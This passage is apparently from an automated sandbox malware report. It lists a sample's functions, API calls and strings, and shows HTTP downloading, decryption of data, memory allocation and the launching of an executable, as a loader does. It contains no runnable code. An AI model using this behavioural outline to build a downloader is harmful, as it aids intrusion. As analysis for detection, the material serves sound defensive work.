InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

http://, xrefs: 10001567
GET, xrefs: 100016AA

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401800 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 106
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401873
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401899
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018BF

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 00402599

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018E5

Strings

Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401877
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 0040189D
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 004018C3
text, xrefs: 00401B5F
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401832
http://, xrefs: 00401EC4, 004021A3
GET, xrefs: 004020B7

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$text
API String ID: 2146599340-4172842843
Opcode ID: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction ID: d9449a1bc553b4f7263359658e85a8d5597bae1f9675cad689ed873ec2693fe7
Opcode Fuzzy Hash: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction Fuzzy Hash: A4316371D00109AFEB14DBE9CC85FEEB7B9EB08714F60812AE521731C0C7789945CBA4

Function 04B5003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B5024D

Strings

kernel32.dll, xrefs: 04B5008F, 04B50095
cess, xrefs: 04B5018D

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 396920cd1cc17b7f9a719df89174d27e3b796f5da06276b071d7e00186d60338
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C6526A74A01229DFDB64DF58C985BACBBB1BF09304F1480D9E94DAB361DB30AA85DF14

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 00405A30 Relevance: 8.2, APIs: 2, Strings: 3, Instructions: 678sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,A91FB584), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

get, xrefs: 00405E91
SUB=, xrefs: 00405A98
U%, xrefs: 00406916

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSleepSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: SUB=$get$U%
API String ID: 2563648476-1840017472
Opcode ID: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction ID: c38411781881cdafda6c84006562c20812e5f10be50bcbbeaff71a156a434d29
Opcode Fuzzy Hash: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction Fuzzy Hash: 04323171D101089BCB19FBB5C95AADE73786F14308F50817FE856771C2EE7C6A08CAA9

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

open, xrefs: 1000214F
.exe, xrefs: 1000206B

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401E20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 004021A3

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction ID: 09126ff878240097ddd60f0c8300d9112e53121ff3c2cf1df5c9ef382bee38eb
Opcode Fuzzy Hash: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction Fuzzy Hash: 1A518E71E002099FDF14CFA9C895BEEB7B9EB08304F10812EE915BB6C1C779A944CB94

Function 004021F0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
CloseHandle.KERNEL32(00000000), ref: 0040224E

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction ID: 5700bef43f604e24781938fdb315806f7bd82b17c931dadbe0ad0f8cbe635642
Opcode Fuzzy Hash: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction Fuzzy Hash: 2B01D272600208ABDB20DBA8DD49FAEB7E8EB48714F40417EFA05A62D0CBB46945C758

Function 00410536 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(08758BC2,?,00410530,00000016,0040CDA2,?,08758BC2,A91FB584,0040CDA2,08758BC2), ref: 00410547
TerminateProcess.KERNEL32(00000000,?,00410530,00000016,0040CDA2,?,08758BC2,A91FB584,0040CDA2,08758BC2), ref: 0041054E
ExitProcess.KERNEL32 ref: 00410560

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction ID: 67797f44d9d46dd495823d9566bad27c4dc507fd550e6630b3786a266b8fea83
Opcode Fuzzy Hash: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction Fuzzy Hash: A0D09E31000108FBCF11AF61DC0D8CD3F26AF40355B008035BD0945131DFB59DD69E48

Function 004132B1 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132C7
GetLastError.KERNEL32(00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132D2

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction ID: d8d9c1c0f29fd1ae3c391d4f931883298020c9469a54bb124b4f82b2896bf902
Opcode Fuzzy Hash: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction Fuzzy Hash: E6E0E6356002146BCB113FB5AC097D57F68AB44759F114076F60C96161D6398996879C

Function 04B50E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B50223,?,?), ref: 04B50E19
SetErrorMode.KERNEL32(00000000,?,?,04B50223,?,?), ref: 04B50E1E

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4912d90d3747dd0a2895d6015fe2bffc848cfeb5036af8c0e2bdc930983e63eb
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 37D0123154512877D7003A94DC09BCDBB1CDF09B62F108451FB0DD9080C770954046E5

Function 00413C79 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction ID: d9d624181c4160d02ab49c773ca7be82655902724fa9057d6622eb650e71da69
Opcode Fuzzy Hash: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction Fuzzy Hash: BAE0E53350013057D6213F668C007DB7A4C9F413A2F180167EC18B62D0FA6CCE8141ED

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2422720275.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2422702058.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422742042.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2422762364.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 009B7397 Relevance: 1.5, APIs: 1, Instructions: 26libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009BA9A2

Memory Dump Source

Source File: 00000000.00000002.2420338300.00000000009B3000.00000040.00000001.01000000.00000003.sdmp, Offset: 009B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b3000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4e9f51562157ea191123944232847d8582eb94f2cbd271eec753d115bc339b2e
Instruction ID: 6f9193a76f0cc83843b21e9abf72200b83f9ecf3fccd5443cd19cbbee342e4e0
Opcode Fuzzy Hash: 4e9f51562157ea191123944232847d8582eb94f2cbd271eec753d115bc339b2e
Instruction Fuzzy Hash: A0F09BB244C78FDFD3027B2499553ED7F906F16324F2D48AEC9824A242FA280958DA97

Function 009B7330 Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009BA9A2

Memory Dump Source

Source File: 00000000.00000002.2420338300.00000000009B3000.00000040.00000001.01000000.00000003.sdmp, Offset: 009B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b3000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7d2016a6fd4cf19a6f9ff3c74483a742177fd0b66de2c44c2e3c5d9d46e4d429
Instruction ID: 05224dfa981bbe68bddc834d8b4cc1aa3c3eeb83df1dde158a0ebe15da34a9d5
Opcode Fuzzy Hash: 7d2016a6fd4cf19a6f9ff3c74483a742177fd0b66de2c44c2e3c5d9d46e4d429
Instruction Fuzzy Hash: 78E092B204C74ACBC3012A5499553ED77909F55330F29495DC98207241E95C05449697

Function 009B7407 Relevance: 1.5, APIs: 1, Instructions: 20libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009BA9A2

Memory Dump Source

Source File: 00000000.00000002.2420338300.00000000009B3000.00000040.00000001.01000000.00000003.sdmp, Offset: 009B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b3000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0839122938314d75f44905e93fcc8641d1359891f5a411392f748786a1557db7
Instruction ID: eb55c088ca9d5a9fb34ac4a051bbfb8cff353d62101b23742a6489e33f7cb269
Opcode Fuzzy Hash: 0839122938314d75f44905e93fcc8641d1359891f5a411392f748786a1557db7
Instruction Fuzzy Hash: 12E0C2B204C70ADFC3013F54DA852FC77D09F18330F290D6EC68246601F42C0A84EAA7

Function 00AB73DF Relevance: 1.5, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?), ref: 00AB73F0

Memory Dump Source

Source File: 00000000.00000002.2420338300.0000000000AB6000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AB6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ab6000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2cb1855e56acfd7e40c7ace132bcdae06fbebdbc1adb5389b9184d14d2e43792
Instruction ID: 0815f0f90e0f5a958cf0724b79c698408a4ace044ed674485be06506b2f12d3c
Opcode Fuzzy Hash: 2cb1855e56acfd7e40c7ace132bcdae06fbebdbc1adb5389b9184d14d2e43792
Instruction Fuzzy Hash: 22E08CB191A22E9FCB01DF15C004BFEBBA4EF90300F144016E84042EA0C7F99D709F48

Function 00DCCDAD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00DCCDFE

Memory Dump Source

Source File: 00000000.00000002.2420979596.0000000000DCC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00DCC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dcc000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 84249c0b75ce88592823c3f664a629e3ae93810fafbd958fc8733bd18c858b5e
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 1B113F79A00208EFDB01DF98C985E99BBF5EF08350F098094F9489B362D371EA90DF90

Function 00402E30 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E3F

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction ID: eb79ea19b3e1abf3f5b24c483eecae43203cd8e5c5511bfeef65b24117358006
Opcode Fuzzy Hash: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction Fuzzy Hash: 17C0483200020DFBCF025FD1EC048DA7F2AFB09260B00C020FA1844032C773A931ABA5

Function 00402E50 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402E5C

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction ID: a3fa6bbe5c1a250ebea8c2fc35f655263c95a0ace9f7750fc45cf9fcc5ecde2d
Opcode Fuzzy Hash: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction Fuzzy Hash: 5CB0923204020CFBCF025F81EC048D93F6AFB0C261B408020FA1C44031C7339675AB84

Non-executed Functions

Function 04B53F87 Relevance: 43.8, APIs: 20, Strings: 4, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,0042C014,0041F068,00000000), ref: 04B53FF1
Sleep.KERNEL32(000003E8), ref: 04B54189
__Init_thread_footer.LIBCMT ref: 04B5475E
__Init_thread_footer.LIBCMT ref: 04B54924
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,04B56D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B54B2E
__Init_thread_footer.LIBCMT ref: 04B54BBC
__Init_thread_footer.LIBCMT ref: 04B54E25
CoInitialize.OLE32(00000000), ref: 04B54EA6
CoCreateInstance.COMBASE(0041F290,00000000,00000001,0041F260,?), ref: 04B54EC1
__Init_thread_footer.LIBCMT ref: 04B55324
Sleep.KERNEL32(00000BB8,00000000,?,04B56CE8,0041D8A0,0042DB20,0042DB21), ref: 04B5553C
__Init_thread_footer.LIBCMT ref: 04B55632
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,04B56D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B54F2F

Part of subcall function 04B60A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B55CE6,00000000,0042C014), ref: 04B60A5E
Part of subcall function 04B60A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B60A7D

__Init_thread_footer.LIBCMT ref: 04B5428D

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Part of subcall function 04B52457: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 04B5248D
Part of subcall function 04B52457: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 04B524AE
Part of subcall function 04B52457: CloseHandle.KERNEL32(00000000), ref: 04B524B5

__Init_thread_footer.LIBCMT ref: 04B54469

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

Strings

^OX*, xrefs: 04B54DD2
]DFE, xrefs: 04B548A7
KDOX, xrefs: 04B54B4B
viFO, xrefs: 04B54B41

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$CriticalSection$File$CreateEnterLeavePathSleepTime$ByteCharCloseFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@WideWrite__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 529012138-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 5a9771f451b435d1f4eef1d856df3c4dca986a309533f201dafbf6e95270ee00
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: 09F2E1B0E042589BEB24DF24CC48BADBBB1EF45304F5442E8D8096B2A1DB75BAC5CF55

Function 04D13120 Relevance: 22.8, APIs: 8, Strings: 4, Instructions: 1839COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D13426
__Init_thread_footer.LIBCMT ref: 04D13602
__Init_thread_footer.LIBCMT ref: 04D138F7
__Init_thread_footer.LIBCMT ref: 04D13ABD
__Init_thread_footer.LIBCMT ref: 04D144BD
__Init_thread_footer.LIBCMT ref: 04D147CB
__Init_thread_footer.LIBCMT ref: 04D13D55

Part of subcall function 04D1FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D1FC16

__Init_thread_footer.LIBCMT ref: 04D13FBE

Strings

KDOX, xrefs: 04D13CE4
]DFE, xrefs: 04D13A40
viFO, xrefs: 04D13CDA
^OX*, xrefs: 04D13F6B

Memory Dump Source

Source File: 00000000.00000003.1785836702.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 829385169-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 6b126a8e3cf2cf0b3ee7acafd56f50c30700eccdb62b8413fc38f00805102867
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: C4F2F2B0E04214AFEB24DF24EC58B9DBBB1EF45304F5442D8E8096B2A1DB74BA85CF55

Function 04B53817 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042C014), ref: 04B53897
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B538BB
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B53925
GetLastError.KERNEL32 ref: 04B5392F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B53957
GetLastError.KERNEL32 ref: 04B53961
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B53971
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B53A33
CryptDestroyKey.ADVAPI32(?), ref: 04B53AA5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B53873

Memory Dump Source

Source File: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

